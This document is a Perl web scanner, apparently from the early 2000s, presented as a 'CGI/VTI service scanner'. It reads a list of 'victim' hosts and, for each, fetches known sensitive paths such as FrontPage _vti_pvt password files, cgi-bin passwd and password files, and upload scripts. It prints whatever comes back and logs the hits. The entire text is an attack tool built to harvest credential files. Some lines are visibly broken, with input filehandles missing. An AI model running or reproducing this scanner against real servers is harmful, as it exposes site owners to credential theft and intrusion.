########################################################################## # This scanner searchs for vulnerable Common Gateway Interface and # # Vermeer Technology Incorperated services that may lead to root level # # security compromise. about 25% ripped from iisscan by Piffy. # # ########################################################################## use strict; use LWP::UserAgent; use HTTP::Request; use HTTP::Response; my $def = new LWP::UserAgent; my @victim; my $userresp; print<<__MENU; NeoErudition Technologies CGI VTI service scanner By: Lawrence http://neoerudition.net __MENU print qq(\n\n\nEnter Y or N to continue. [Y/N]: ); while(1) { chomp($userresp = ); if($userresp eq "Y" || $userresp eq "y" || $userresp eq "yes") { print "Proceeding...\n"; last; } elsif($userresp eq "N" || $userresp eq "n" || $userresp eq "no") { print "Exiting as requested.\n"; exit; } else { print "Thats not a valid answer. [Y/N]: "; } } print qq(\nWhat file contains the victim address: ); chomp(my $victim=); open(IN, $victim) || die "\nCould not open $victim: $!"; while () { $victim[$a] = $_; chomp $victim[$a]; $a++; $b++; } close(IN); $a = 0; print qq(CGI/VTI Scan Initiated..\n); while ($a < $b) { print qq(:: Checking for /_vti_pvt/service.grp\n); my $url="http://$victim[$a]/_vti_pvt/service.grp"; my $request = new HTTP::Request('GET', $url); my $response = $def->request($request); if ($response->is_success) { print $response->content; open(OUT, ">>cgivti.log"); print OUT "\n$victim[$a]/_vti_pvt/service.grp"; -close OUT; } else { print qq(Not Vulnerable..\n\n); } &second() } sub second() { print qq(:: Checking for /_vti_pvt/authors.pwd\n); my $url2="http://$victim[$a]/_vti_pvt/authors.pwd"; my $request = new HTTP::Request('GET', $url2); my $response = $def->request($request); if ($response->is_success) { print $response->content; open(OUT, ">>cgivti.log"); print OUT "\n$victim[$a]/_vti_pvt/authors.pwd"; -close OUT; } else { print qq(Not Vulnerable..\n\n); } &third() } sub third() { print qq(:: Checking for /cgi-bin/password.txt\n); my $url3="http://$victim[$a]/cgi-bin/password.txt"; my $request = new HTTP::Request('GET', $url3); my $response = $def->request($request); if ($response->is_success) { print $response->content; open(OUT, ">>cgivti.log"); print OUT "\n$victim[$a]/cgi-bin/password.txt"; -close OUT; } else { print qq(Not Vulnerable..\n\n); } &fourth() } sub fourth() { print qq(:: Checking for /_vti_pvt/service.pwd\n); my $url4="http://$victim[$a]/_vti_pvt/service.pwd"; my $request = new HTTP::Request('GET', $url4); my $response = $def->request($request); if ($response->is_success) { print $response->content; open(OUT, ">>cgivti.log"); print OUT "\n$victim[$a]/_vti_pvt/service.pwd"; -close OUT; } else { print qq(Not Vulnerable..\n\n); } &fifth() } sub fifth() { print qq(:: Checking for /_vti_pvt/users.pwd\n); my $url5="http://$victim[$a]/_vti_pvt/users.pwd"; my $request = new HTTP::Request('GET', $url5); my $response = $def->request($request); if ($response->is_success) { print $response->content; open(OUT, ">>cgivti.log"); print OUT "\n$victim[$a]/_vti_pvt/users.pwd"; -close OUT; } else { print qq(Not Vulnerable..\n\n); } &sixth() } sub sixth() { print qq(:: Checking for /_vti_pvt/administrator.pwd\n); my $url6="http://$victim[$a]/_vti_pvt/administrator.pwd"; my $request = new HTTP::Request('GET', $url6); my $response = $def->request($request); if ($response->is_success) { print $response->content; open(OUT, ">>cgivti.log"); print OUT "\n$victim[$a]/_vti_pvt/administrator.pwd"; -close OUT; } else { print qq(Not Vulnerable..\n\n); } &seventh() } sub seventh() { print qq(:: Checking for /_vti_pvt/administrators.pwd\n); my $url7="http://$victim[$a]/_vti_pvt/administrators.pwd"; my $request = new HTTP::Request('GET', $url7); my $response = $def->request($request); if ($response->is_success) { print $response->content; open(OUT, ">>cgivti.log"); print OUT "\n$victim[$a]/_vti_pvt/administrators.pwd"; -close OUT; } else { print qq(Not Vulnerable..\n\n); } &eigth() } sub eigth() { print qq(:: Checking for /cgi-win/uploader.exe\n); my $url8="http://$victim[$a]/cgi-win/uploader.exe"; my $request = new HTTP::Request('GET', $url8); my $response = $def->request($request); if ($response->is_success) { print $response->content; open(OUT, ">>cgivti.log"); print OUT "\n$victim[$a]/cgi-win/uploader.exe"; -close OUT; } else { print qq(Not Vulnerable..\n\n); } &nineth() } sub nineth() { print qq(:: Checking for /cgi-bin/upload.pl\n); my $url9="http://$victim[$a]/cgi-bin/upload.pl"; my $request = new HTTP::Request('GET', $url9); my $response = $def->request($request); if ($response->is_success) { print $response->content; open(OUT, ">>cgivti.log"); print OUT "\n$victim[$a]/cgi-bin/upload.pl"; -close OUT; } else { print qq(Not Vulnerable..\n\n); } &tenth() } sub tenth() { print qq(:: Checking for /cgi-bin/whois_raw.cgi?\n); my $url10="http://$victim[$a]/cgi-bin/whois_raw.cgi?"; my $request = new HTTP::Request('GET', $url10); my $response = $def->request($request); if ($response->is_success) { print $response->content; open(OUT, ">>cgivti.log"); print OUT "\n$victim[$a]/cgi-bin/whois_raw.cgi?"; -close OUT; } else { print qq(Not Vulnerable..\n\n); } &eleventh() } sub eleventh() { print qq(:: Checking for /cgi-bin/passwd\n); my $url11="http://$victim[$a]/cgi-bin/passwd"; my $request = new HTTP::Request('GET', $url11); my $response = $def->request($request); if ($response->is_success) { print $response->content; open(OUT, ">>cgivti.log"); print OUT "\n$victim[$a]/cgi-bin/passwd"; -close OUT; } else { print qq(Not Vulnerable..\n\n); } &twelth() } sub twelth() { print qq(:: Checking for /cgi-bin/passwd.txt\n); my $url12="http://$victim[$a]/cgi-bin/passwd.txt"; my $request = new HTTP::Request('GET', $url12); my $response = $def->request($request); if ($response->is_success) { print $response->content; open(OUT, ">>cgivti.log"); print OUT "\n$victim[$a]/cgi-bin/passwd.txt"; -close OUT; } else { print qq(Not Vulnerable..\n\n); } &thirteenth() } sub thirteenth() { print qq(:: Checking for /cgi-bin/password\n); my $url13="http://$victim[$a]/cgi-bin/password"; my $request = new HTTP::Request('GET', $url13); my $response = $def->request($request); if ($response->is_success) { print $response->content; open(OUT, ">>cgivti.log"); print OUT "\n$victim[$a]/cgi-bin/password"; -close OUT; } else { print qq(Not Vulnerable..\n\n); } &fourteenth() } sub fourteenth() { print qq(:: Checking for /cgi-bin/password.txt\n); my $url14="http://$victim[$a]/cgi-bin/password.txt"; my $request = new HTTP::Request('GET', $url14); my $response = $def->request($request); if ($response->is_success) { print $response->content; open(OUT, ">>cgivti.log"); print OUT "\n$victim[$a]/cgi-bin/password.txt"; -close OUT; } else { print qq(Not Vulnerable..\n\n); } &fifteenth } sub fifteenth() { print qq(:: Checking for /cgi-bin/handler.cgi\n); my $url15="http://$victim[$a]/cgi-bin/handler.cgi"; my $request = new HTTP::Request('GET', $url15); my $response = $def->request($request); if ($response->is_success) { print $response->content; open(OUT, ">>cgivti.log"); print OUT "\n$victim[$a]/cgi-bin/handler.cgi"; -close OUT; } else { print qq(Not Vulnerable..\n\n); } &sixteenth } sub sixteenth() { print qq(:: Checking for /cgi-bin/handler\n); my $url16="http://$victim[$a]/cgi-bin/handler"; my $request = new HTTP::Request('GET', $url16); my $response = $def->request($request); if ($response->is_success) { print $response->content; open(OUT, ">>cgivti.log"); print OUT "\n$victim[$a]/cgi-bin/handler"; -close OUT; } else { print qq(Not Vulnerable..\n\n); } &seventeenth } sub seventeenth() { print qq(:: Checking for /cgi-bin/files.pl\n); my $url17="http://$victim[$a]/cgi-bin/files.pl"; my $request = new HTTP::Request('GET', $url17); my $response = $def->request($request); if ($response->is_success) { print $response->content; open(OUT, ">>cgivti.log"); print OUT "\n$victim[$a]/cgi-bin/files.pl"; -close OUT; } else { print qq(Not Vulnerable..\n\n); } &eigtheenth } sub eigtheenth() { print qq(:: Checking for /msadc/Samples/SELECTOR/showcode.asp\n); my $url18="http://$victim[$a]/msadc/Samples/SELECTOR/showcode.asp"; my $request = new HTTP::Request('GET', $url18); my $response = $def->request($request); if ($response->is_success) { print $response->content; open(OUT, ">>cgivti.log"); print OUT "\n$victim[$a]/msadc/Samples/SELECTOR/showcode.asp"; -close OUT; } else { print qq(Not Vulnerable..\n\n); } &nineteenth } sub nineteenth() { print qq(:: Checking for /msadc/Samples/selector/showcode.asp\n); my $url19="http://$victim[$a]/msadc/Samples/selector/showcode.asp"; my $request = new HTTP::Request('GET', $url19); my $response = $def->request($request); if ($response->is_success) { print $response->content; open(OUT, ">>cgivti.log"); print OUT "\n$victim[$a]/msadc/Samples/selector/showcode.asp"; -close OUT; } else { print qq(Not Vulnerable..\n\n); } &twentieeth } sub twentieeth() { print qq(:: Checking for /session/adminlogin?\n); my $url20="http://$victim[$a]/session/adminlogin?"; my $request = new HTTP::Request('GET', $url20); my $response = $def->request($request); if ($response->is_success) { print $response->content; open(OUT, ">>cgivti.log"); print OUT "\n$victim[$a]/session/adminlogin?"; -close OUT; } else { print qq(Not Vulnerable..\n\n); } $a++; } <>